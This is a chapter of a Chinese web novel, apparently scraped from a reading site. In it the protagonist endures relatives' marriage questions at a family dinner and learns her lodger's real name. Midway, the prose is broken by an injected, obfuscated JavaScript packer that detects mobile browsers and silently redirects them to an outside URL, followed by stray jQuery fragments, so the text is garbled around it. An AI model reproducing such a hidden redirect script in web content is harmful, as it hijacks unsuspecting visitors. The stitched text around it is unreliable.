默认冷灰
24号文字
方正启体

8. 于岳望

作者:片帆沙岸本书字数:K更新时间:
    突然,两只小狗大叫起来。循声望去,只见垃圾桶旁站着一只瘦骨嶙峋的白猫。


    确切地说是灰色,毛发脏乱打结。耳朵有缺口,身上满是秃斑和伤痕。


    蔡云深看得揪心,下意识朝猫迈步,却被阿旺阻止:


    “别过去,”男人说着挡她面前,“那只猫很凶的,福娃都被它抓伤过,还打了针,就在我们昨天去的那家医院!”


    连福娃都得不到善待,这话很有说服力了。


    蔡云深却依然放不下。


    察觉到阿旺在严防死守,试着跟他开玩笑:“那家医院的狂犬疫苗该不会是被我们小区的人打完的吧?”


    “差不多了,”阿旺说,“所以,你可千万成为下一个。”


    被这么一点,蔡云深的视线终于从猫转向人:


    “你说什么?”


    “我说让你别管那只猫,”阿旺认真,“它病了。无论谁靠近,它都会攻击。所以别想着去喂药、喂吃的。不然受伤的是你。”


    蔡云深不再吭声。但是此刻,她有一种内心被揭露的不适感。


    烦躁地拉着狗调头,口是心非:“谁说要管它了?”


    “不管最好,”男人说着跟上来,恢复平时那副无所谓的样子,声调寡淡——


    “乐于助人是美德,但过度了,就是病。”


    *


    这晚饭点,701又是热闹,还添了新面孔——


    是隔壁栋的刘阿姨和向叔叔,带着他们的外孙童童。


    瘦瘦高高的刘阿姨是个绝不会亏待自己的主,蔡云深打记事起就对她没好感。


    今日亦然,人踏进来,先拉着童童朝许江:“乖孙,叫干爷爷!”


    “干爷爷!”


    还在上幼儿园的小男孩一边喊,一边奔向出来迎客的许江。一老一小在蔡云深面前笑开了花,她却心有芥蒂。


    这些年来,自打答应成为童童的“干爷爷”,为了这个“乖孙”,许江可花费不少:


    大小节假都要送礼,重要时日还需备红包。偶尔疏忽,刘阿姨还会及时“提醒”——


    “干爷爷,我们乖孙下月生日,你可别说你忘了?”


    许江抱着童童笑呵呵:“不能忘不能忘,礼物我都准备好了!”


    蔡云深在旁摆碗筷,刘阿姨又郑重介绍她:


    “童童,叫大姨妈!”


    被抱着的童童朗声招呼。蔡云深回了句“乖”,心里却一点都不想当谁的“大姨妈”,只想做回没有牵连的“蔡阿姨”。


    不知她心境的许江居然关心刘阿姨:“最近跑上跑下,累吧?小家伙又放假,还得顾着他。”


    “他在身边还好点,”刘阿姨却说,“每天只有看到他,心才舒服些。”


    “也是,”许江说着逗小男孩,“我们童童他多可爱呀!”


    孩子放下后,又宽慰了几句刘阿姨,许江才朝其他客人:


    “各位,就差个鱼汤了。我去盯着,马上就好!你们先吃!别等我!”


    “哪有不等厨师的道理!”向叔叔发声,“你别管我们,我们自己知道交通沟流!”


    听他这么一说,众人笑了——


    都知道许江把“交流沟通”说成“交通沟流”。


    蔡云深也应和气氛,但她皮笑肉不笑。心想,原来爸爸的口癖,根本不是什么她和妈妈的独家发现。


    想起往事,双目就放空。回过神才发现,自己刚才盯着童童。


    刘阿姨从旁看着,还以为她喜欢小朋友:


    “怎么样,这小玩具可爱吧?”


    为什么把人说成玩具?


    蔡云深藏着不满:“可爱。”


    她是客套,对方却跟她邀起功来:“你不知道,你不在家的时候,都是我们这小家伙帮你爸解闷!你看他喜欢童童那个劲!”说着又问,“什么时候你也造一个?到时候刘阿姨帮你带。”


    “是啊妹妹,交男朋友没?”向叔叔听到也问。


    刘阿姨:“交了,在滨城呢。许老大讲过的。”


    “哦,那打算什么时候结婚?”向叔叔马上调整方向,“再不结你刘阿姨该老了,想帮你带孩子都带不动。”


    刘阿姨:“不仅我们老,你爸也老了呀。人一老,会孤独,觉得很多事都是眼前空,唯一的乐趣是逗逗小孩儿。”


    向叔叔:“我记得,妹妹跟思思是一年的?”


    “不仅是一年的,她俩高中还做过同班同学呢。结果童童现在都上幼儿园了。”


    说到这,刘阿姨认真地问蔡云深:


    “妹妹,你也27了,真的不着急?”


    被夫妻俩一套组合拳下来,蔡云深心烦到开始考虑在此自爆,说出被赵宇劈腿的事实。不知道卖惨能不能堵上两位长辈的嘴?


    又怕招致更多麻烦。


    万没想到,居然是拿白酒过来的阿旺救了她的场:


    “她有什么好急?我比她大三岁都不急。”


    向叔叔:“你当然不急,你是男人。”


    “男人怎么了?”阿旺语调懒洋洋地回嘴,“你是歧视她,还是歧视我?”


    被架起来烤,老好人向叔叔瞬间招架不住:“什么‘歧视’呀……”连忙跟蔡云深解释,“叔叔没那意思!”


    刘阿姨也说:“是啊妹妹,别听阿旺那臭小子瞎扯!我和你向叔叔只是关心你!”


    关心也要看本人能不能消受啊?


    她觉得阿旺的瞎扯更悦耳。


    都是爸爸的老朋友,也不能像昨晚在网约车里那样放飞自我。想找个理由离开,却被刘阿姨凑近:“你怎么在家还戴个墨镜?”


    向叔叔闻言也凑过来:“等等,妹妹……你这是被人打了?”


    蔡云深忍无可忍,正打算乱说一通,阿旺又先开口:


    “是啊,我打的,”他说着指自己的脸,“她也没吃亏。”


    此言一出,“关心”夫妇的注意力被成功吸引走,追着阿旺问真相,放过她。


    蔡云深钻进厨房,一拳锤墙上:


    “果然,我得尽快搬走!”


    在灶前满头大汗的许江不急不慢:“怎么了?尽什么快?怎么尽快?”关火盛汤,“你急也没办法,起码得等那个什么,”沉睡症,“过了再说。”


    蔡云深跺脚。


    “行了,把这个端出去。”


    从许江手中接过鱼汤,心里又五味杂陈。


    蔡美仙离世后,她最拿手的鲫鱼汤,原以为再没机会喝到。不想许江一点点摸索,在某一天,居然成功复制出记忆中的味道。


    蔡云深端着汤,想刘阿姨和向叔叔是俗气,但也真实。他们代表上一辈人的视角,或许也代表许江。


    难道,爸爸也跟他们一样?以至于童童一个别人家的小孩,他都那么喜欢?


    她想知道,却无法问出口。就像许江不会主动告诉她。


    他们向来不是那种能对彼此坦承真心的父女,蔡美仙离世后尤其如此。


    把鱼汤放上餐桌,见刘阿姨夫妇又回来坐定。


    正觉无心应付,丁聪聪从阿旺卧室冲出来——


    “刘婆婆,向爷爷!”小男生开心,“我把语文作业全部赶完啦!”


    向叔叔立刻捧场:“厉害啊丁聪聪!这么早就赶完?”


    “对啊,我说到做到!”人来疯丁聪聪雀跃。


    “还不是多亏你阿旺叔叔盯得紧?”刘阿姨说大实话。


    “跟他才没关系呢!他就会惹人厌!”丁聪聪说着爆料,“刘婆婆我跟你说,阿旺叔叔晚上睡觉可搞笑了!”


    “有什么搞笑的?”刘阿姨问,“他打鼾?”


    “不是,他睡着了说梦话,还哭了!”丁聪聪想起来就开怀,“拍都拍不醒!一开始我迷迷糊糊,还以为是狗在叫呢!”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059642|195002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    满桌大笑。


    嘴上说着“惹人厌”,饭吃完该回家,丁聪聪又依依不舍,挽着阿旺非要他继续陪着玩,直到他爸丁威找上门。


    蔡云深没想到,自己会在短短一天内幻灭两次:


    记忆里高大挺拔、意气风发的大哥哥,她的初恋丁威。如今一看,个头居然跟她差不多,发福了,谢顶了,白净的脸晒得黝黑:


    “我来接聪聪。”


    跟人打过招呼后自己在那尴尬,倒是鬼机灵的丁聪聪大大方方跟她道别:


    “蔡阿姨,再见哦!”说完还比了个给自己嘴巴上拉链的手势。


    宾客散尽,701安静下来。就连昨晚在隔壁背课文的声息都消失。


    等蔡云深洗完澡回书房,只有等着她的露娜在床边冲她摇尾巴。


    耳根清净,便彻底放松,在已经开始熟悉的新家惬意地躺下,开平板,找漫画。


    这是她的睡前小习惯,做白日梦。什么类型都看,恋爱,冒险,悬疑,科幻……


    痴迷于虚构世界,却只能选择漫画这个载体,或者电影,电视,舞台剧……


    就是没法读小说。


    因为她有阅读困难症。


    从小到大,被诊断出的心理问题可不少,什么抑郁,恐慌,双相障碍……


    得到这些判书时,蔡云深总有种“这是在说谁啊”的不真实感。偏偏她真正最烦恼的两大难题:阅读困难和沉睡症,找了多少医生看,都没定论。


    医生说,你这些症状不对症。虽然临床经验少,也可能存在错诊,但目前看上去,应该是你的心理作用?


    是了,心理作用。除了心在作怪,没法解释这种异常:


    一般的字还好,信件,教科书,墙上的标语……都能看进。


    所以她正常生活、读书考试,都没问题,还进了大学。


    但文学作品就不行。小说、散文、诗这类的,每每翻开,第一页看不过半,眼前的文字就会变扭曲,偏旁不像偏旁,字也不像字。


    字如森森白骨,堆砌成一堵不透风的高墙,向蔡云深示意:


    “此为禁区”。


    因为这个理由,蔡云深语文成绩不好,尤其是阅读理解,每次得分都很低。


    怪就怪在她的作文居然写得不错,情感饱满,词汇还丰富。


    就连语文老师都稀奇,说教了这么多年书,能写不能读的,头回见。


    ……


    蔡云深打开《像雾像雨又像风:霸总与我同居的100日》。


    同样是讲述虚构世界的文字,被放进漫画里,就没问题。


    比如眼前,第一话,男主就壁咚,还捏女主下巴。


    台词蔡云深读得很顺畅:


    “你这样,不就是想我吻你?”


    谁!想!了!女主第一天见你!


    没有铺垫的肢体接触,那叫骚扰!人帅做什么都行?!


    读评论也毫无阻碍:


    “这总裁,真是像雾像雨又像疯。”


    蔡云深狠狠点赞,关了这本找别的。


    看一阵,看饿了。纠结之后,还是起来去冰箱找了吃的。


    牙自然要重刷,去卫生间,却发现里面有人:


    是阿旺在洗澡。


    回书房后没多久,花洒声就停止。蔡云深干脆不上床,一边等跟她同居、虽然不是霸总,但好歹不会抽疯的男人出厕所,一边抚摸露娜,并且发自内心地称赞它——


    “你是这个世界上最可爱的小狗了,知道吗?”


    就是这时候,因为蹲在这高度,才会发现床头柜夹缝的墙面上,有一行歪歪扭扭的字:


    “于岳望是大笨蛋。”


    ——这次,“笨蛋”两个字写对了。


    蔡云深盯着字,好久了,才突然反应过来,


    不是“阿旺”,


    他的名字,是于岳望。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)